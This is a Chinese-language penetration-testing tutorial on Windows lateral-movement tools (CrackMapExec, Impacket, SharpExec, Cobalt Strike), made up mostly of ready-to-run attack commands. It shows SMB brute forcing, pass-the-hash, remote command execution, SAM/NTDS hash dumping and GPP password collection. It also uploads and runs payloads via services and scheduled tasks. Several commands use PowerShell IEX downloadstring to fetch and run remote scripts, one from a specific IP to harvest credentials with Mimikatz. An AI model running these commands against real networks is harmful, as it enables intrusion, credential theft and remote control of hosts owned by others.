关于内网横向移动套件的利用总结

​ 通过上篇文章我们了解了关于内网横向移动的常用方法,但是实战中去使用这些方法往往效率比较低,并且已经有很多大佬发现了这一点并且针对于每种横向移动的方法写出了横向移动的套件。熟悉这些横向移动套件的使用有助于提高我们渗透的速度。因此学习大佬们横向移动套件的使用是非常有必要的,下面我将和大家一起学习关于内网横向移动套件的使用。

Crackmapexec

​ Crackmapexec是一款由python开发的横向移动利用工具,网上也有人打包好了它的windows版本,这个是2.x版本的打包,虽然版本比较旧,但是基本的功能都有了

​ 在横向移动之前,可以去扫描开放445端口的主机

1
crackmapexec.exe 192.168.3.0/24

image-20200827105034304

查看主机的共享

1
crackmapexec.exe host.txt -t 1 -u administrator -p Admin123456 --share

image-20200827105808677

查看当前主机的用户

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt --users

image-20200827111211507

主机都有什么盘

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt --disk

image-20200827111346074

批量smb爆破

​ 首先我们先扫描那些主机开放了445端口,再将开放445的ip保存到一个txt中,使用下面的命令进行爆破。

1
crackmapexec.exe -d . -u administrator -p xxxx -t 10 host.txt

image-20200826193844481

爬取用户目录下包含某个关键字的文件名

1
crackmapexec.exe -d . -u administrator -p xxx -t 1 host.txt  --spider Users --depth 10 --pattern username

image-20200827120109187

批量hash传递

1
crackmapexec.exe -d . -u administrator -H xxx:xxxx -t 10 host.txt

image-20200826194130572

批量文件操作

​ 批量上传文件

1
crackmapexec.exe -d . -u administrator -p Admin123456 -t 1 host.txt  --upload C:\Users\xxx\Desktop\SharpMove.exe  \\Windows\\Temp\\whoami.exe

image-20200827134605698

image-20200827134523163

​ 批量查看文件

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 host.txt  --list \\Windows\\Temp\\

image-20200827134847632

​ 下载文件

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 192.168.3.144  --download \\Windows\\Temp\\

image-20200827135107554

批量执行命令

​ 通过smbexec批量执行命令

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 host.txt --execm smbexec -x "whoami /user"

image-20200826194639115

​ 通过smbexec远程加载powershell上线

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 host.txt --execm smbexec -x "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xxxx:8011/a111'))\""

image-20200827114124144

image-20200827114139359

​ 通过wmi批量执行命令

1
crackmapexec.exe -d rootkit -u administrator -p xxxx -t 1 host.txt --execm wmi -x "whoami /user"

image-20200826194904286

​ 通过atexec批量hash传递执行命令

1
crackmapexec.exe -d . -u administrator -H xxx:xxx -t 1 192.168.3.11 --execm atexec -x "whoami /user"

image-20200826202039799

批量抓密码

​ 使用wmi加载远程powershell脚本批量抓密码

1
crackmapexec.exe -d . -u administrator -H xxx:xx -t 1 host.txt --execm wmi -X "IEX (New-Object Net.WebClient).DownloadString('http://111.229.70.13:801/Invoke-Mimidogz.ps1');Invoke-Mimidogz"

image-20200826202829550

​ 调用Invoke-Mimikatz.ps1批量抓密码

1
crackmapexec.exe -d . -u administrator -H aad3b435b51404eeaad3b435b51404ee:ae4c0d5fb959fda8f4cb1d14a8376af4 -t 1 host.txt --mimikatz

image-20200827093343519

批量dump hash

1
crackmapexec.exe -d . -u administrator -H xxxx:xxxx -t 1 --sam  host.txt

image-20200826203436519

远程导出域控中所有的hash

​ 这个过程比较慢,不建议在实际中使用

1
crackmapexec.exe -d rootkit -u administrator -p xxx -t 1 192.168.3.144 --ntds vss

image-20200827093924405

搜集GPP密码

1
crackmapexec.exe -d . -u administrator -p xxxx -t 1 host.txt --gpp-passwords

image-20200827094518023

​ 其他的利用方法可以参考官方文档

Impacket

​ Impacket是用于处理网络协议的Python类的集合。我们除了可以使用python版本,也可以使用别人打包好的windows版本进行利用。这个打包的稍微旧了一点,不过大部分的功能已经打包好了,还有比较新的打包版本,下面我介绍下它在横向渗透中常用的功能。

atexec

​ 通过计划任务执行命令,默认以system权限执行命令

1
atexec.exe ./administrator:xxx@192.168.3.144 "whoami /user"

image-20200827161851281

​ 也可以使用PTH的方式执行、

1
atexec.exe -hashes :xxxx ./administrator@192.168.3.144 "whoami /user" 

image-20200827162051117

DCOM

​ 使用这种方式,默认以administrator权限执行命令,也可以获取交互shell

1
dcomexec.exe ./administrator:xxx@192.168.3.11 "whoami /user"

image-20200827170845398

1
dcomexec.exe ./administrator:xxx@192.168.3.144

image-20200827181250651

​ 也可以通过hash传递来运行

1
dcomexec.exe -hashes :xxxx ./administrator@192.168.3.11 "whoami /user"

image-20200827171222916

SMB

​ 通过smbexec可以直接获取交互的shell,shell权限也是system权限,但无法执行直接执行cmd命令,因此不适合在shell下进行操作。

1
smbexec.exe ./administrator:xxx@192.168.3.144

image-20200827171503784

1
smbexec.exe -hashes :xxx ./administrator@192.168.3.144

image-20200827171909815

psexec

​ 使用psexec会在目标系统创建服务,返回权限为system权限

1
psexec.exe -hashes :xxx ./administrator@192.168.3.51

image-20200827172249787

​ 也可以使用psexec执行系统命令

1
psexec.exe ./administrator:xxx@192.168.3.144 "whoami"

image-20200827172609121

​ 也可以直接利用psexec上传文件并且执行

1
psexec.exe ./administrator:xxx@192.168.3.144 -c C:\Users\jerry\Desktop\artifact.exe

image-20200827173702596

image-20200827173725431

​ 这个过程可能会在命令行下出现卡顿,这个不要紧,当我们把弹过来的shell使用完后退出后即可恢复正常,强行关闭命令行会导致创建的服务不能删除。

WMI

​ 使用wmiexec进行横向移动,既可以获取交互shell也可以执行命令,也可以进行PTH

1
wmiexec.exe ./administrator:xxx@192.168.3.144

image-20200827174532234

1
wmiexec.exe ./administrator:xxx@192.168.3.144 "whoami"

image-20200827175007031

1
wmiexec.exe -hashes :xxxx ./administrator@192.168.3.144

image-20200827175129269

​ 关于impacket常见的横向渗透的方法先介绍这么多,我写个表格对各种横向渗透的方式进行简单的对比

image-20200827181506980

SharpExec

​ SharpExec是一个C#编写的集合了WMIExec,SMBExec,PSExec等常见横向渗透方法的工具。由于这个工具不是很有名,所以可能免杀稍微好一点(我猜的)。

1、psexec

​ 首先生成一个service类型的shell,放在本地,使用如下命令将上传本地文件到远程服务器并执行

1
SharpExec.exe -m=psexec -i=192.168.3.144 -u=Administrator -p=Admin123456 -d=. -f=C:\Users\jerry\Desktop\artifact.exe -e=c:\artifact.exe

image-20200827204927302

​ 执行后会返回system权限的shell

image-20200827204958764

​ 当我们执行结束后,将shell退出,再按回车程序会自动将上传的文件删掉。

image-20200827205258375

2、wmi

​ 这个工具也集成了使用wmi来进行文件上传并且执行的功能,不过这里我们就生成普通的shell即可,不用生成service类型的shell,但生成的shell与系统版本要对应。执行后可以获取administrator权限的shell。

1
SharpExec.exe -m=wmi -i=192.168.3.144 -u=Administrator -p=xxx -d=. -f=C:\Users\jerry\Desktop\artifact.exe -e=c:\artifact.exe

image-20200828092336716

image-20200828092404709

3、wmiexec

​ 通过wmiexec可以获取半交互的shell,在shell中除了可以进行常规的命令操作,也可以对文件进行操作。

1
SharpExec.exe -m=wmiexec -i=192.168.3.144 -u=Administrator -p=xxx -d=.

image-20200828094503678

​ 通过put命令进行文件上传

1
put C:\Users\jerry\Desktop\artifact.exe artifact.exe

image-20200828094720655

​ 也可以进行文件下载操作

1
get artifact.exe C:\Users\jerry\Desktop\test666.exe

image-20200828095837635

​ 最后输入exit即可退出shell,这里需要注意,如果我们在shell中运行了CS生成的马,在马没有退出的情况下,可能再使用wmiexec会出现异常,只要退出这个马就好了。

4、smbexec

​ 使用smbexec和wmiexec功能上类型,获取的半交互shell是system权限。

image-20200828100431041

​ 也可以进行文件上传下载等操作。

1
put C:\Users\jerry\Desktop\artifact.exe c:\artifact.exe

image-20200828100629652

1
get c:\artifact.exe C:\Users\jerry\Desktop\tes888.exe

image-20200828100822447

​ 这款工具的功能先介绍这么多,他所集成的横向移动的方式并不多,但是对比impacet和crackmapexec,它主要再文件操作这部分进行了一些优化,可以很方便的去上传并且执行我们的shell

​ 更详细的介绍请参考作者博客

CobaltStrike

​ CobaltStrike自身内置了部分横向移动的模块,下面我将带着大家一起学习CobaltStrike内置的横向移动模块的使用。

1、psexec

​ 当我们获取目标边界机的管理员权限时,可以通过psexec的方法进行横向移动,具体配置如下:

​ 点击target-》对想要横向移动的目标右键选择psexec

image-20200828110435271

​ 配置好账号密码和session以及listener后选择launch

image-20200828110805427

​ 执行后我们可以看到,CobaltStrike生成了一个service类型的shell并且在目标主机执行

image-20200828111216157

​ 获取权限后,我们查看目标主机的进程,可以看到CobaltStrike是通过rundll32来执行的

image-20200828111534458

​ 因此如果在进程中有以system权限起的没有参数的rundll32进程,则有可能是通过CobaltStrike的psexec功能来进行横向移动。

2、psexec_psh

​ 使用psexec_psh方式进行横向移动操作过程和psexec类似

image-20200828113904782

​ 获取权限后,我们查看目标主机的进程,可以看到CobaltStrike是通过powershell来执行的

image-20200828114117604

​ 根据这篇博客的介绍,CobaltStrike会创建一个powershell的脚本,该脚本将对内存中运行的嵌入式有效载荷进行base64编码,并将其压缩为单行格式,连接到ADMIN $或C $ share并运行PowerShell命令。

3、SC

​ 使用这种方式进行横向移动,CobaltStrike并没有提供这种横向移动的方式,不过我们还是可以通过命令行的方式来进行横向移动。

​ 首先生成一个serivce类型的shell,将生成的文件上传的边界服务器。

image-20200828115222147

​ 再与目标主机建立ipc连接

1
2
shell net use \\192.168.3.144\C$ "xxx" /user:"Administrator"
shell net use

image-20200828115358559

​ 通过文件拷贝命令将生成的services.exe拷贝到目标主机

1
shell copy services.exe \\192.168.3.144\C$\windows\temp

image-20200828115522488

1
2
shell sc \\192.168.3.144 create xxxxx binpath= "c:\windows\temp\services.exe"
shell sc \\192.168.3.144 start xxxxx

image-20200828133951366

4、Remote-exec

​ 在cobaltstrike中,使用remote-exec module target command+args来尝试在远程目标主机上运行特定的程序。

(1)psexec

​ 首先生成一个service类型的exe,上传到目标主机

image-20200828140744823

1
remote-exec psexec \\192.168.3.144 c:\windows\temp\services.exe

image-20200828141119157

image-20200828141146963

(2)WMI

​ 使用CS生成一个exe上传到目标主机,通过remote-exec的wmi模块运行

1
remote-exec wmi 192.168.3.144 C:\windows\temp\artifact.exe

image-20200828141501441

image-20200828141509268

5、SCHTASKS

​ 同样cobaltstrike中没有集成schtasks模块,不过我们仍然可以手工运行,首先生成一个shell,将shell上传到目标服务器,使用下面的命令创建计划任务

1
2
3
 shell schtasks /create /s 192.168.3.144 /u "administrator" /p "xxxx" /RL HIGHEST /F /tn "windowstest666" /tr "c:\windows\temp\artifact.exe" /sc DAILY /mo 1 /ST 00:00
shell schtasks /run /tn windowstest666 /s 192.168.3.144 /U " administrator" /P "xxxx"
shell schtasks /F /delete /tn windowstest666 /s 192.168.3.144 /U " administrator" /P "xxxx"

image-20200828154502358

总结

​ 通过对这些横向渗透的工具的学习,我们可以发现Crackmapexec主要使用在做批量操作时使用,impacket有很多针对不同协议进行横向移动的套件,SharpExec适合对文件操作比较好,CobaltStrike虽然横向的方式不是很多,不过针对我们也可以配合一些命令去执行。

参考文章

知识星球-红队攻防揭秘

Crackmapexec

CrackMapExec - Ultimate Guide

SharpExec-您最喜欢的.NET Bling的横向运动

进攻性横向移动